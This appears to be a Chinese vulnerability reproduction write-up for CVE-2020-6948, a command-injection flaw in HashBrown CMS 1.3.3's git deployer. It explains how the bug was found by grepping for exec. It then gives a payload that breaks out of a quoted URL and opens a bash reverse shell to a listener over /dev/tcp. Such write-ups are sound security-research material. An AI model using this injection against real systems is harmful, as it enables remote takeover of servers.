(CVE-2020-6948)HashBrown CMS 远程命令执行漏洞
一、漏洞简介
HashBrown CMS是一套开源的无头内容管理系统(CMS)。 HashBrown CMS 1.3.3及之前版本中存在远程代码执行漏洞,该漏洞源于程序没有进行正确的安全检查。攻击者可利用该漏洞执行代码。
二、漏洞影响
HashBrown CMS 1.3.3
三、复现过程
在之前收集的资料里面总结了发现漏洞基本有三个方法:
- 通过关键字搜索,比如exec方法在很多语言里面代表执行系统命令,那你就可以搜索查看传入exec方法的参数有没有经过过滤,有没有办法利用。https://github.com/wireghoul/graudit 这个项目就罗列了很多语言的关键词可以用作参考。
- 根据function来阅读代码,但是这种方法花费的时间比第一种多,有可能迷失在各种各种各样的方法中。
- 通读代码,这样最全,但是显然速度要慢很多了。
对于Hashbrown CMS,先用第一种方法开路。尝试了几个关键字之后我选取了exec这个关键字。在grep 之后发现了下面的结果。
看来这个应用使用git 相关命令,如果可以传入url 参数就有可能触发命令执行漏洞。接着打开Server/Entity/Deployer/GitDeployer.js 文件查看源代码。
其中可以看到url由username,password,和repro 几个变量拼接,而且其中没有过滤特殊的字符和命令。那接下来就是到页面里面寻找触发的点。经过对这个应用的一番熟悉,得知可以在登录后建立新的connection选择git部署的方式,在Repository,Branch,username或者password字段填写你要执行的命令即可。但是这里要注意程序本来的exec命令中填写有单引号,我们要对其进行闭合,比如填入如下命令来反弹一个shell。
https://google.com' & /bin/bash -c 'bash -i >& /dev/tcp/192.168.119.149/8888 0>&1
配置如下:
然后点击media菜单触发git命令执行
接下来在监听的机器上就可以获得shell了